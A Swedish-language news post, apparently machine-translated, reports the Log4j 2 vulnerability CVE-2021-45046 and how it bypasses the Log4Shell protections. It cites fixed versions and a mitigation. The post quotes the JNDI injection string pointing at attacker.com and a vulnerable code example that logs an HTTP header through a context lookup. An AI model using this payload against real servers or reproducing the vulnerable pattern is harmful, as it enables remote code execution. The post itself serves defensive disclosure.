{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"En ny attackvektor mot Log4j 2 som kan kringg\u00e5 den nyligen tillagda skyddet.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
I Log4j 2-bibliotekens implementation av JNDI-substitutioner har \u00e4nnu en s\u00e5rbarhet uppt\u00e4ckts (CVE-2021-45046), som upptr\u00e4der trots de korrigeringar som lades till i version 2.15 och oavsett anv\u00e4ndning av inst\u00e4llningen «log4j2.noFormatMsgLookup» f\u00f6r skydd. Problemet utg\u00f6r fr\u00e4mst en risk f\u00f6r \u00e4ldre versioner av Log4j 2, som skyddas av flaggan «noFormatMsgLookup», eftersom det m\u00f6jligg\u00f6r att kringg\u00e5 skyddet mot den tidigare s\u00e5rbarheten (Log4Shell, CVE-2021-44228), som kan leda till att egen kod k\u00f6rs p\u00e5 servern. F\u00f6r anv\u00e4ndare av version 2.15 begr\u00e4nsas exploateringen till att skapa f\u00f6ruts\u00e4ttningar f\u00f6r att applikationen ska krascha p\u00e5 grund av utt\u00f6mda resurser. <\/p>\n
S\u00e5rbarheten f\u00f6rekommer endast p\u00e5 system d\u00e4r kontextuella f\u00f6rfr\u00e5gningar (Context Lookup) anv\u00e4nds vid loggning, s\u00e5som ${ctx:loginId}, eller MDC-mallar (Thread Context Map), exempelvis %X, %mdc och %MDC. Utnyttjandet g\u00e5r ut p\u00e5 att skapa f\u00f6rh\u00e5llanden f\u00f6r att logga data som inneh\u00e5ller JNDI-platsh\u00e5llare, genom att anv\u00e4nda kontextuella f\u00f6rfr\u00e5gningar eller MDC-mallar som definierar regler f\u00f6r loggutformatning. <\/p>\n
Forskare fr\u00e5n f\u00f6retaget LunaSec har p\u00e5pekat att f\u00f6r versioner av Log4j under 2.15 kan denna s\u00e5rbarhet utnyttjas som en ny angreppsvektor f\u00f6r Log4Shell, vilket leder till kodexekvering, om man i loggutmatningar anv\u00e4nder uttryck i ThreadContext som inkluderar externa data, oavsett om skyddsflaggan «noMsgFormatLookups» eller m\u00f6nstret «%m{nolookups}» har aktiverats.
<\/center> <\/p>\n
Kringg\u00e5endet av skyddet inneb\u00e4r att ist\u00e4llet f\u00f6r att anv\u00e4nda direkt substitution «${jndi:ldap:\/\/attacker.com\/a}», s\u00e5 infogas detta uttryck genom v\u00e4rdet av en mellanlagrad variabel som anv\u00e4nds i loggutmatningens formatteringsregler. Till exempel, om en kontextuell f\u00f6rfr\u00e5gan ${ctx:apiversion} anv\u00e4nds i loggutmatningen, kan attacken genomf\u00f6ras genom att infoga datan «${jndi:ldap:\/\/attacker.com\/a}» i v\u00e4rdet som lagras i variabeln apiversion. Exempel p\u00e5 s\u00e5rbar kod: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/?») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \\\/\/ V\u00e4rdet av HTTP-huvudet «X-Api-Version» \u00f6verf\u00f6rs till ThreadContext ThreadContext.put(«apiversion», apiVersion); \\\/\/ Vid loggutmatning kommer det externa v\u00e4rdet apiversion att behandlas med substitution ${ctx:apiversion} logger.info(«Mottog en f\u00f6rfr\u00e5gan f\u00f6r API-version»); return «Hello, world!»; } <\/p>\n
I versionen Log4j 2.15 kan s\u00e5rbarheten anv\u00e4ndas f\u00f6r att genomf\u00f6ra DoS-attacker genom att skicka v\u00e4rden som orsakar o\u00e4ndliga slingor i tr\u00e5dkontextens bearbetning av formatmallar f\u00f6r utdata.
<\/center> <\/p>\n
F\u00f6r att blockera s\u00e5rbarheten har uppdateringar 2.16 och 2.12.2 publicerats. I Log4j 2.16-grenen, f\u00f6rutom de korrigeringar som inf\u00f6rdes i version 2.15 och kopplingen av JNDI LDAP-f\u00f6rfr\u00e5gningar till «localhost», \u00e4r JNDI-funktionen helt inaktiverad som standard och st\u00f6d f\u00f6r meddelandeinb\u00e4ddningsmallar har tagits bort. Som en skydds\u00e5tg\u00e4rd har det f\u00f6reslagits att klassen JndiLookup tas bort fr\u00e5n classpath (till exempel «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n
F\u00f6lj utvecklingen av korrigeringar i paketen p\u00e5 distributionssidor (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) och hos tillverkare av Java-plattformar (GitHub, Docker, Oracle, vmWare, Broadcom och Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.). \n K\u00e4lla: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"En](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"En](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n